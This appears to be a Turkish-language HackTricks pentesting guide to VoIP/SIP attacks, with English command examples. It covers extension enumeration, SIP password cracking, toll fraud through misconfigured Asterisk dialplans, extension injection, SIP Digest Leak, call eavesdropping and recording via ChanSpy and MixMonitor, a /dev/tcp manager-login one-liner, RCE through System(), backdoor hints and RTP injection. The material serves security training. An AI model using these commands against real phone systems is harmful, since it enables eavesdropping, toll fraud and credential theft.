Pentesting VoIP

Reading time: 23 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

VoIP Temel Bilgiler

VoIP'in nasıl çalıştığını öğrenmeye başlamak için kontrol edin:

Basic VoIP Protocols

Temel Mesajlar

Request name	Description								RFC references
------------------------------------------------------------------------------------------------------
REGISTER	Register a SIP user.							RFC 3261
INVITE		Initiate a dialog for establishing a call. 				RFC 3261
ACK		Confirm that an entity has received.					RFC 3261
BYE		Signal termination of a dialog and end a call.				RFC 3261
CANCEL		Cancel any pending request.						RFC 3261
UPDATE		Modify the state of a session without changing the state of the dialog.	RFC 3311
REFER		Ask recipient to issue a request for the purpose of call transfer.	RFC 3515
PRACK		Provisional acknowledgement.						RFC 3262
SUBSCRIBE	Initiates a subscription for notification of events from a notifier.	RFC 6665
NOTIFY		Inform a subscriber of notifications of a new event.			RFC 6665
PUBLISH		Publish an event to a notification server.				RFC 3903
MESSAGE		Deliver a text message.	Used in instant messaging applications.		RFC 3428
INFO		Send mid-session information that does not modify the session state.	RFC 6086
OPTIONS		Query the capabilities of an endpoint					RFC 3261

Yanıt Kodları

1xx—Geçici Yanıtlar

100 Trying
180 Ringing
181 Call is Being Forwarded
182 Queued
183 Session Progress
199 Early Dialog Terminated

2xx—Başarılı Yanıtlar

200 OK
202 Accepted
204 No Notification

3xx—Yönlendirme Yanıtları

300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
305 Use Proxy
380 Alternative Service

4xx—İstemci Hatası Yanıtları

400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Conditional Request Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Unsupported URI Scheme
417 Unknown Resource-Priority
420 Bad Extension
421 Extension Required
422 Session Interval Too Small
423 Interval Too Brief
424 Bad Location Information
425 Bad Alert Message
428 Use Identity Header
429 Provide Referrer Identity
430 Flow Failed
433 Anonymity Disallowed
436 Bad Identity-Info
437 Unsupported Certificate
438 Invalid Identity Header
439 First Hop Lacks Outbound Support
440 Max-Breadth Exceeded
469 Bad Info Package
470 Consent Needed
480 Temporarily Unavailable
481 Call/Transaction Does Not Exist
482 Loop Detected
483 Too Many Hops
484 Address Incomplete
485 Ambiguous
486 Busy Here
487 Request Terminated
488 Not Acceptable Here
489 Bad Event
491 Request Pending
493 Undecipherable
494 Security Agreement Required

5xx—Sunucu Hatası Yanıtları

500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Server Time-out
505 Version Not Supported
513 Message Too Large
555 Push Notification Service Not Supported
580 Precondition Failure

6xx—Küresel Hata Yanıtları

600 Busy Everywhere
603 Decline
604 Does Not Exist Anywhere
606 Not Acceptable
607 Unwanted
608 Rejected

VoIP Enumeration

Telefon Numaraları

Kırmızı Takımın yapabileceği ilk adımlardan biri, OSINT araçları, Google Aramaları veya web sayfalarını tarayarak şirketle iletişim kurmak için mevcut telefon numaralarını aramaktır.

Telefon numaralarına sahip olduğunuzda, operatörü tanımlamak için çevrimiçi hizmetleri kullanabilirsiniz:

Operatörün VoIP hizmetleri sunup sunmadığını bilmek, şirketin VoIP kullanıp kullanmadığını belirlemenizi sağlar... Ayrıca, şirketin VoIP hizmetleri kiralamamış olabileceği, ancak kendi VoIP PBX'ini geleneksel telefon ağına bağlamak için PSTN kartları kullandığı da mümkündür.

Müzik gibi otomatik yanıtlar, genellikle VoIP kullanıldığını gösterir.

Google Dorks

bash
# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org

# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"

# Cisco phones
inurl:"NetworkConfiguration" cisco

# Linksys phones
intitle:"Sipura SPA Configuration"

# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm

# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com

# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"

# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"

OSINT bilgileri

VoIP yazılımını tanımlamaya yardımcı olan diğer OSINT sayımları, Kırmızı Takım için faydalı olacaktır.

Ağ Sayımı

  • nmap, UDP hizmetlerini tarama yeteneğine sahiptir, ancak taranan UDP hizmetlerinin sayısı nedeniyle çok yavaştır ve bu tür hizmetlerle çok doğru olmayabilir.
bash
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
  • svmap SIPVicious'tan (sudo apt install sipvicious): Belirtilen ağda SIP hizmetlerini bulacaktır.
  • svmap engellemesi kolaydır çünkü User-Agent friendly-scanner kullanır, ancak /usr/share/sipvicious/sipvicious dosyasındaki kodu değiştirebilir ve bunu değiştirebilirsiniz.
bash
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
  • SIPPTS taraması from sippts: SIPPTS taraması, UDP, TCP veya TLS üzerinden SIP hizmetleri için çok hızlı bir tarayıcıdır. Çoklu iş parçacığı kullanır ve geniş ağ aralıklarını tarayabilir. Bir port aralığını kolayca belirtmeye, hem TCP hem de UDP'yi taramaya, başka bir yöntemi kullanmaya (varsayılan olarak OPTIONS kullanacaktır) ve farklı bir User-Agent belirtmeye (ve daha fazlasına) olanak tanır.
bash
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]

[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
  • metasploit:
auxiliary/scanner/sip/options_tcp normal  No     SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options     normal  No     SIP Endpoint Scanner (UDP)

Ekstra Ağ Enumere Etme

PBX ayrıca aşağıdaki gibi diğer ağ hizmetlerini de açığa çıkarıyor olabilir:

  • 69/UDP (TFTP): Firmware güncellemeleri
  • 80 (HTTP) / 443 (HTTPS): Cihazı web üzerinden yönetmek için
  • 389 (LDAP): Kullanıcı bilgilerini depolamak için alternatif
  • 3306 (MySQL): MySQL veritabanı
  • 5038 (Manager): Asterisk'i diğer platformlardan kullanmaya olanak tanır
  • 5222 (XMPP): Jabber kullanarak mesajlar
  • 5432 (PostgreSQL): PostgreSQL veritabanı
  • Ve diğerleri...

Yöntemler Enumere Etme

PBX'te kullanılabilir yöntemleri bulmak için SIPPTS enumerate komutunu kullanarak sippts ile mümkündür.

bash
sippts enumerate -i 10.10.0.10

Sunucu yanıtlarını analiz etme

Bir sunucunun bize geri gönderdiği başlıkları, gönderdiğimiz mesaj ve başlık türüne bağlı olarak analiz etmek çok önemlidir. sippts ile SIPPTS send kullanarak, tüm başlıkları manipüle ederek kişiselleştirilmiş mesajlar gönderebilir ve yanıtı analiz edebiliriz.

bash
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp

Sunucu websockets kullanıyorsa veri elde etmek de mümkündür. sippts içindeki SIPPTS wssend ile kişiselleştirilmiş WS mesajları gönderebiliriz.

bash
sippts wssend -i 10.10.0.10 -r 443 -path /ws

Extension Enumeration

PBX (Özel Santral) sistemindeki uzantılar, bir organizasyon veya işletme içindeki bireysel telefon hatlarına, cihazlara veya kullanıcılara atanan benzersiz iç tanımlayıcılardır. Uzantılar, her kullanıcı veya cihaz için bireysel dış telefon numaralarına ihtiyaç duymadan, organizasyon içinde çağrıları verimli bir şekilde yönlendirmeyi mümkün kılar.

  • svwar from SIPVicious (sudo apt install sipvicious): svwar, ücretsiz bir SIP PBX uzantı hattı tarayıcısıdır. Kavramsal olarak, bir dizi uzantıyı veya belirli bir uzantı listesini tahmin ederek geleneksel wardialer'lara benzer şekilde çalışır.
bash
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
  • SIPPTS exten from sippts: SIPPTS exten, bir SIP sunucusundaki uzantıları tanımlar. Sipexten, büyük ağ ve port aralıklarını kontrol edebilir.
bash
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
  • metasploit: Metasploit ile uzantıları/kullanıcı adlarını da listeleyebilirsiniz:
auxiliary/scanner/sip/enumerator_tcp  normal  No     SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator      normal  No     SIP Username Enumerator (UDP)
  • enumiax (apt install enumiax): enumIAX bir Inter Asterisk Exchange protokolü kullanıcı adı brute-force enumeratörüdür. enumIAX, iki farklı modda çalışabilir; Sıralı Kullanıcı Adı Tahmini veya Sözlük Saldırısı.
bash
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10

VoIP Saldırıları

Şifre Kaba Kuvvet - çevrimiçi

PBX ve bazı uzantılar/kullanıcı adları keşfedildikten sonra, bir Kırmızı Takım, bir uzantıya REGISTER yöntemi ile kimlik doğrulamayı denemek için yaygın şifrelerin bir sözlüğünü kullanarak kimlik doğrulamayı kaba kuvvetle kırmaya çalışabilir.

caution

Bir kullanıcı adı uzantıyla aynı olabilir, ancak bu uygulama PBX sistemine, yapılandırmasına ve organizasyonun tercihlerine bağlı olarak değişebilir...

Kullanıcı adı uzantıyla aynı değilse, kaba kuvvetle kırmak için kullanıcı adını bulmanız gerekecek.

  • svcrack SIPVicious'tan (sudo apt install sipvicious): SVCrack, bir PBX'teki belirli bir kullanıcı adı/uzantı için şifreyi kırmanıza olanak tanır.
bash
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
  • SIPPTS rcrack from sippts: SIPPTS rcrack, SIP hizmetleri için uzaktan bir şifre kırıcıdır. Rcrack, farklı IP'lerde ve port aralıklarında birkaç kullanıcı için şifreleri test edebilir.
bash
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt

VoIP Sniffing

Eğer bir Açık Wifi ağı içinde VoIP ekipmanı bulursanız, tüm bilgileri dinleyebilirsiniz. Dahası, daha kapalı bir ağda (Ethernet üzerinden bağlı veya korumalı Wifi) iseniz, PBX ile ağ geçidi arasında MitM saldırıları gerçekleştirebilir ve bilgileri dinleyebilirsiniz.

Ağ bilgileri arasında, ekipmanı yönetmek için web kimlik bilgileri, kullanıcı uzantıları, kullanıcı adı, IP adresleri, hatta hashlenmiş şifreler ve RTP paketleri bulabilirsiniz; bu paketleri yeniden üreterek konuşmayı duyabilirsiniz ve daha fazlası.

Bu bilgileri elde etmek için Wireshark, tcpdump gibi araçlar kullanabilirsiniz... ancak VoIP konuşmalarını dinlemek için özel olarak oluşturulmuş bir araç ucsniff dir.

caution

SIP iletişiminde TLS kullanılıyorsa, SIP iletişimini açık olarak göremeyeceğinizi unutmayın.
SRTP ve ZRTP kullanıldığında da aynı durum geçerlidir, RTP paketleri açık metin olarak olmayacaktır.

SIP kimlik bilgileri (Şifre Kaba Kuvvet - çevrimdışı)

Kimlik bilgileri nasıl gönderiliyor öğrenmek için SIP REGISTER iletişimini daha iyi anlamak için bu örneği kontrol edin.

  • sipdump & sipcrack, sipcrack'in bir parçası (apt-get install sipcrack): Bu araçlar, SIP protokolü içindeki digest kimlik doğrulamalarını çıkartabilir ve kaba kuvvet ile kırabilir.
bash
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
  • SIPPTS dump from sippts: SIPPTS dump, bir pcap dosyasından digest kimlik doğrulamalarını çıkarabilir.
bash
sippts dump -f capture.pcap -o data.txt
  • SIPPTS dcrack from sippts: SIPPTS dcrack, SIPPTS dökümünden elde edilen özet kimlik doğrulamalarını kırmak için bir araçtır.
bash
sippts dcrack -f data.txt -w wordlist/rockyou.txt
  • SIPPTS tshark from sippts: SIPPTS tshark, bir PCAP dosyasından SIP protokol verilerini çıkarır.
bash
sippts tshark -f capture.pcap [-filter auth]

DTMF kodları

Sadece SIP kimlik bilgileri ağ trafiğinde bulunmakla kalmaz, aynı zamanda sesli mesaj erişimi gibi durumlarda kullanılan DTMF kodlarını da bulmak mümkündür.
Bu kodlar INFO SIP mesajları, ses veya RTP paketleri içinde gönderilebilir. Kodlar RTP paketleri içindeyse, konuşmanın o kısmını kesip multimo aracını kullanarak çıkartabilirsiniz:

bash
multimon -a DTMF -t wac pin.wav

Ücretsiz Aramalar / Asterisk Bağlantı Yanlış Yapılandırmaları

Asterisk'te belirli bir IP adresinden veya herhangi bir IP adresinden bir bağlantıya izin vermek mümkündür:

host=10.10.10.10
host=dynamic

Eğer bir IP adresi belirtilmişse, host her zaman REGISTER istekleri göndermeye ihtiyaç duymayacaktır (REGISTER paketinde genellikle 30 dakika olan yaşam süresi gönderilir, bu da başka bir senaryoda telefonun her 30 dakikada bir REGISTER yapması gerektiği anlamına gelir). Ancak, VoIP sunucusundan çağrı almak için açık portlara sahip olması gerekecektir.

Kullanıcıları tanımlamak için şu şekilde tanımlanabilirler:

  • type=user: Kullanıcı yalnızca çağrı alabilir.
  • type=friend: Peer olarak çağrı yapabilir ve kullanıcı olarak alabilir (uzantılarla kullanılır)
  • type=peer: Peer olarak çağrı gönderebilir ve alabilir (SIP-trunklar)

Güvensiz değişken ile güven oluşturmak da mümkündür:

  • insecure=port: IP tarafından doğrulanan peer bağlantılarına izin verir.
  • insecure=invite: INVITE mesajları için kimlik doğrulaması gerektirmez
  • insecure=port,invite: Her ikisi de

warning

type=friend kullanıldığında, host değişkeninin değeri kullanılmayacaktır, bu nedenle bir yönetici bu değeri kullanarak bir SIP-trunk'ı yanlış yapılandırırsa, herkes buna bağlanabilecektir.

Örneğin, bu yapılandırma savunmasız olacaktır:
host=10.10.10.10
insecure=port,invite
type=friend

Ücretsiz Çağrılar / Asterisk Bağlamı Yanlış Yapılandırmaları

Asterisk'te bir bağlam, ilişkili uzantıları, eylemleri ve kuralları bir araya getiren adlandırılmış bir konteyner veya bölümdür. Arama planı, Asterisk sisteminin temel bileşenidir, çünkü gelen ve giden çağrıların nasıl işlendiğini ve yönlendirildiğini tanımlar. Bağlamlar, arama planını düzenlemek, erişim kontrolünü yönetmek ve sistemin farklı bölümleri arasında ayrım sağlamak için kullanılır.

Her bağlam, genellikle extensions.conf dosyasında yapılandırma dosyasında tanımlanır. Bağlamlar, köşeli parantezlerle belirtilir ve bağlam adı bunların içinde yer alır. Örneğin:

bash
csharpCopy code[my_context]

İçerik içinde, uzantıları (çevrilen numaraların kalıpları) tanımlarsınız ve bunları bir dizi eylem veya uygulama ile ilişkilendirirsiniz. Bu eylemler, çağrının nasıl işleneceğini belirler. Örneğin:

scss
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()

Bu örnek, "my_context" adında basit bir bağlamı ve "100" uzantısını göstermektedir. Birisi 100'ü aradığında, çağrı yanıtlanacak, bir karşılama mesajı çalacak ve ardından çağrı sonlandırılacaktır.

Bu, herhangi bir başka numarayı aramaya izin veren başka bir bağlamdır:

scss
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})

Eğer yönetici varsayılan bağlamı şu şekilde tanımlarsa:

[default]
include => my_context
include => external

warning

Herkes sunucuyu başka bir numaraya aramak için kullanabilecektir (ve sunucunun yöneticisi arama için ödeme yapacaktır).

caution

Dahası, varsayılan olarak sip.conf dosyası allowguest=true içerir, bu nedenle herhangi bir saldırgan kimlik doğrulaması olmadan başka bir numarayı arayabilecektir.

  • SIPPTS invite from sippts: SIPPTS invite, PBX sunucusunun kimlik doğrulaması olmadan arama yapmamıza izin verip vermediğini kontrol eder. Eğer SIP sunucusunun yanlış bir yapılandırması varsa, dış numaralara arama yapmamıza izin verecektir. Ayrıca, aramayı ikinci bir dış numaraya aktarmamıza da izin verebilir.

Örneğin, eğer Asterisk sunucunuzun kötü bir bağlam yapılandırması varsa, yetkilendirme olmadan INVITE isteğini kabul edebilirsiniz. Bu durumda, bir saldırgan herhangi bir kullanıcı/parola bilmeden arama yapabilir.

bash
# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i  10.10.0.10 -fu 200 -tu 555555555 -v

# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444

Ücretsiz aramalar / Yanlış yapılandırılmış IVRS

IVRS, Etkileşimli Sesli Yanıt Sistemi anlamına gelir; kullanıcıların ses veya tuşlama girdileri aracılığıyla bilgisayarlı bir sistemle etkileşimde bulunmalarını sağlayan bir telekomünikasyon teknolojisidir. IVRS, bilgi sağlama, çağrıları yönlendirme ve kullanıcı girdilerini yakalama gibi çeşitli işlevler sunan otomatik çağrı yönetimi sistemleri oluşturmak için kullanılır.

VoIP sistemlerinde IVRS genellikle şunlardan oluşur:

  1. Sesli istemler: Kullanıcıları IVR menü seçenekleri ve talimatları aracılığıyla yönlendiren önceden kaydedilmiş sesli mesajlar.
  2. DTMF (Çift Tonlu Çok Frekanslı) sinyalleme: Telefon tuşlarına basarak üretilen tuşlama girdileri, IVR menülerinde gezinmek ve girdi sağlamak için kullanılır.
  3. Çağrı yönlendirme: Çağrıları kullanıcı girdisine dayalı olarak belirli departmanlara, temsilcilere veya dahili numaralara yönlendirme.
  4. Kullanıcı girişi yakalama: Arayanlardan hesap numaraları, vaka kimlikleri veya diğer ilgili veriler gibi bilgileri toplama.
  5. Dış sistemlerle entegrasyon: IVR sistemini veritabanları veya diğer yazılım sistemleriyle bağlayarak bilgiye erişim sağlama, güncelleme yapma, eylemler gerçekleştirme veya olayları tetikleme.

Asterisk VoIP sisteminde, bir IVR oluşturmak için arama planını (extensions.conf dosyası) ve Background(), Playback(), Read() gibi çeşitli uygulamaları kullanabilirsiniz. Bu uygulamalar, sesli istemleri çalmanıza, kullanıcı girdilerini yakalamanıza ve çağrı akışını kontrol etmenize yardımcı olur.

Güvenlik açığına sahip yapılandırma örneği

scss
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})

Önceki, kullanıcının bir departmanı aramak için 1'e basması, başka birini aramak için 2'ye basması veya biliyorsa tam uzantıyı girmesi istendiği bir örnektir.
Açık, belirtilen uzantı uzunluğunun kontrol edilmemesi, bu nedenle bir kullanıcının 5 saniyelik zaman aşımını tam bir numara olarak girebilmesi ve arama yapılabilmesidir.

Uzantı Enjeksiyonu

Aşağıdaki gibi bir uzantı kullanarak:

scss
exten => _X.,1,Dial(SIP/${EXTEN})

Burada ${EXTEN} çağrılacak olan uzantıdır, ext 101 tanıtıldığında bu gerçekleşecektir:

scss
exten => 101,1,Dial(SIP/101)

Ancak, eğer ${EXTEN} sayıların dışında bir şey girmeye izin veriyorsa (eski Asterisk sürümlerinde olduğu gibi), bir saldırgan 101&SIP123123123 girerek 123123123 numarasını arayabilir. Ve bu sonuç olacaktır:

scss
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)

Bu nedenle, 101 ve 123123123 uzantısına bir çağrı gönderilecek ve yalnızca ilk çağrıyı alan bağlantı kurulacaktır... ancak bir saldırgan, mevcut olmayan ancak herhangi bir eşleşmeyi atlayan bir uzantı kullanırsa, yalnızca istenen numaraya bir çağrı enjekte edebilir.

SIPDigestLeak zafiyeti

SIP Digest Leak, hem donanım hem de yazılım IP telefonları ile telefon adaptörlerini (VoIP'tan analog) içeren çok sayıda SIP Telefonunu etkileyen bir zafiyettir. Bu zafiyet, şifreden hesaplanan Digest kimlik doğrulama yanıtının sızmasına izin verir. Çevrimdışı bir şifre saldırısı mümkün hale gelir ve meydan okuma yanıtına dayanarak çoğu şifreyi kurtarabilir.

**Zafiyet senaryosu buradan**:

  1. Bir IP Telefon (kurban) herhangi bir portta (örneğin: 5060) dinliyor, telefon çağrılarını kabul ediyor
  2. Saldırgan IP Telefone bir INVITE gönderiyor
  3. Kurban telefon çalmaya başlıyor ve biri açıp kapatıyor (çünkü diğer uçta kimse telefonu yanıtlamıyor)
  4. Telefon kapatıldığında, kurban telefon saldırgana bir BYE gönderiyor
  5. Saldırgan bir 407 yanıtı veriyor ve kimlik doğrulama talep ediyor ve bir kimlik doğrulama meydan okuması yayımlıyor
  6. Kurban telefon, ikinci bir BYE'de kimlik doğrulama meydan okumasına bir yanıt sağlıyor
  7. Saldırgan, yerel makinesinde (veya dağıtılmış ağ vb.) meydan okuma yanıtına karşı bir brute-force saldırısı gerçekleştirebilir ve şifreyi tahmin edebilir
  • SIPPTS sızıntısı sippts'den: SIPPTS sızıntısı, çok sayıda SIP Telefonunu etkileyen SIP Digest Leak zafiyetini istismar eder. Çıktı, SIPPTS dcrack veya SipCrack aracı kullanılarak brute force yapmak için SipCrack formatında kaydedilebilir.
bash
sippts leak -i 10.10.0.10

[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100

[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok

Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5

Click2Call

Click2Call, bir web kullanıcısının (örneğin bir ürüne ilgi duyan) telefon numarasını tanıtmasına olanak tanır. Ardından bir ticari arama yapılır ve kullanıcı telefonu açtığında, kullanıcı ajanla arama yapılıp bağlanır.

Bunun için yaygın bir Asterisk profili şudur:

scss
[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
  • Önceki profil HERHANGİ BİR IP adresinin bağlanmasına izin veriyor (şifre biliniyorsa).
  • Daha önce belirtildiği gibi, bir arama düzenlemek için okuma izinlerine gerek yoktur ve sadece başlatma için yazma izni gereklidir.

Bu izinlerle, şifreyi bilen herhangi bir IP bağlanabilir ve çok fazla bilgi çıkarabilir, örneğin:

bash
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3

Daha fazla bilgi veya eylem talep edilebilir.

Dinleme

Asterisk'te, gerçekleşen konuşmaları duymak için izlenecek uzantıları (veya hepsini) belirten ChanSpy komutunu kullanmak mümkündür. Bu komut bir uzantıya atanmalıdır.

Örneğin, exten => 333,1,ChanSpy('all',qb) ifadesi, eğer uzantı 333'ü ararsanız, all uzantılarını izleyeceğini, yeni bir konuşma başladığında (b) sessiz modda (q) dinlemeye başlayacağını belirtir; çünkü buna müdahale etmek istemiyoruz. Bir konuşmadan diğerine geçmek için * tuşuna basabilir veya uzantı numarasını tuşlayabilirsiniz.

Sadece bir uzantıyı izlemek için ExtenSpy kullanmak da mümkündür.

Konuşmaları dinlemek yerine, bir uzantı kullanarak dosyalara kaydetmek de mümkündür:

scss
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})

Aramalar /tmp dizinine kaydedilecektir.

Asterisk'in kapandığında aramayı sızdıracak bir script çalıştırmasını da sağlayabilirsiniz.

scss
exten => h,1,System(/tmp/leak_conv.sh &)

RTCPBleed zafiyeti

RTCPBleed, Asterisk tabanlı VoIP sunucularını etkileyen büyük bir güvenlik sorunudur (2017'de yayımlandı). Bu zafiyet, VoIP konuşmalarını taşıyan RTP (Gerçek Zaman Protokolü) trafiğinin, İnternetteki herkes tarafından dinlenip yönlendirilebilmesine olanak tanır. Bu, RTP trafiğinin NAT (Ağ Adresi Çevirisi) güvenlik duvarlarından geçerken kimlik doğrulamayı atlamasından kaynaklanır.

RTP proxy'leri, iki veya daha fazla taraf arasında RTP akışlarını proxy'leyerek RTC sistemlerini etkileyen NAT sınırlamalarını gidermeye çalışır. NAT mevcut olduğunda, RTP proxy yazılımı genellikle sinyalizasyon (örneğin, SIP) aracılığıyla elde edilen RTP IP ve port bilgilerine güvenemez. Bu nedenle, bazı RTP proxy'leri, böyle bir IP ve port çiftinin otomatik olarak öğrenildiği bir mekanizma uygulamıştır. Bu genellikle gelen RTP trafiğini inceleyerek ve gelen RTP trafiği için kaynak IP ve portu yanıtlanması gereken olarak işaretleyerek yapılır. "Öğrenme modu" olarak adlandırılabilecek bu mekanizma, herhangi bir tür kimlik doğrulama kullanmaz. Bu nedenle, saldırganlar, RTP proxy'sine RTP trafiği gönderebilir ve devam eden bir RTP akışı için arayan veya aranan kişi için gönderilmesi gereken proxy'lenmiş RTP trafiğini alabilir. Bu zafiyete RTP Bleed diyoruz çünkü saldırganların meşru kullanıcılara gönderilmesi gereken RTP medya akışlarını almasına olanak tanır.

RTP proxy'leri ve RTP yığınlarının bir diğer ilginç davranışı, bazen, RTP Bleed'e karşı savunmasız olsalar bile, herhangi bir kaynaktan gelen RTP paketlerini kabul edip iletebilmeleri ve/veya işlemeleridir. Bu nedenle, saldırganlar, meşru olanın yerine kendi medyalarını enjekte etmelerine olanak tanıyan RTP paketleri gönderebilir. Bu saldırıya RTP enjeksiyonu diyoruz çünkü mevcut RTP akışlarına meşru olmayan RTP paketlerinin enjekte edilmesine olanak tanır. Bu zafiyet hem RTP proxy'lerinde hem de uç noktalarında bulunabilir.

Asterisk ve FreePBX, RTP trafiğinin kimlik doğrulamayı atlamasını sağlayan NAT=yes ayarını geleneksel olarak kullanmıştır; bu da aramalarda sesin olmamasına veya tek yönlü ses sorunlarına yol açabilir.

Daha fazla bilgi için https://www.rtpbleed.com/

  • SIPPTS rtpbleed from sippts: SIPPTS rtpbleed, RTP akışları göndererek RTP Bleed zafiyetini tespit eder.
bash
sippts rtpbleed -i 10.10.0.10
  • SIPPTS rtcpbleed from sippts: SIPPTS rtcpbleed, RTCP akışları göndererek RTP Bleed zafiyetini tespit eder.
bash
sippts rtcpbleed -i 10.10.0.10
  • SIPPTS rtpbleedflood from sippts: SIPPTS rtpbleedflood, RTP akışları göndererek RTP Bleed zafiyetini istismar eder.
bash
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
  • SIPPTS rtpbleedinject from sippts: SIPPTS rtpbleedinject, bir ses dosyası (WAV formatında) enjekte ederek RTP Bleed açığını istismar eder.
bash
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav

RCE

Asterisk'te bir şekilde uzantı kuralları ekleyip bunları yeniden yükleyebilme (örneğin, savunmasız bir web yönetim sunucusunu ele geçirerek) yeteneğine sahip olduğunuzda, System komutunu kullanarak RCE elde etmek mümkündür.

scss
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)

Shell adında, gerektiğinde sistem komutlarını çalıştırmak için System yerine kullanılabilecek bir komut vardır.

warning

Eğer sunucu System komutunda (Elastix'te olduğu gibi) belirli karakterlerin kullanılmasını yasaklıyorsa, web sunucusunun sistemin içinde dosya oluşturmasına izin verip vermediğini kontrol edin (Elastix veya trixbox'ta olduğu gibi) ve bunu bir arka kapı betiği oluşturmak için kullanın, ardından System ile bu betiği çalıştırın.

İlginç yerel dosyalar ve izinler

  • sip.conf -> SIP kullanıcılarının şifresini içerir.
  • Eğer Asterisk sunucusu root olarak çalışıyorsa, root'u tehlikeye atabilirsiniz.
  • mysql root kullanıcısının herhangi bir şifresi olmayabilir.
  • bu, bir arka kapı olarak yeni bir mysql kullanıcısı oluşturmak için kullanılabilir.
  • FreePBX
  • amportal.conf -> Web paneli yöneticisinin (FreePBX) şifresini içerir.
  • FreePBX.conf -> Veritabanına erişmek için kullanılan FreePBXuser kullanıcısının şifresini içerir.
  • bu, bir arka kapı olarak yeni bir mysql kullanıcısı oluşturmak için kullanılabilir.
  • Elastix
  • Elastix.conf -> mysql root şifresi, IMAPd şifresi, web admin şifresi gibi birkaç şifreyi düz metin olarak içerir.
  • Birçok klasör, tehlikeye atılmış asterisk kullanıcısına ait olacaktır (root olarak çalışmıyorsa). Bu kullanıcı önceki dosyaları okuyabilir ve ayrıca yapılandırmayı kontrol edebilir, böylece Asterisk'in çalıştırıldığında başka arka kapılı ikili dosyaları yüklemesini sağlayabilir.

RTP Enjeksiyonu

rtpinsertsound (sudo apt install rtpinsertsound) ve rtpmixsound (sudo apt install rtpmixsound) gibi araçlar kullanarak konuşmalara .wav dosyası eklemek mümkündür.

Ya da http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ adresinden konuşmaları taramak için rtpscan.pl, bir konuşmaya .wav göndermek için rtpsend.pl ve bir konuşmaya gürültü eklemek için rtpflood.pl betiklerini kullanabilirsiniz.

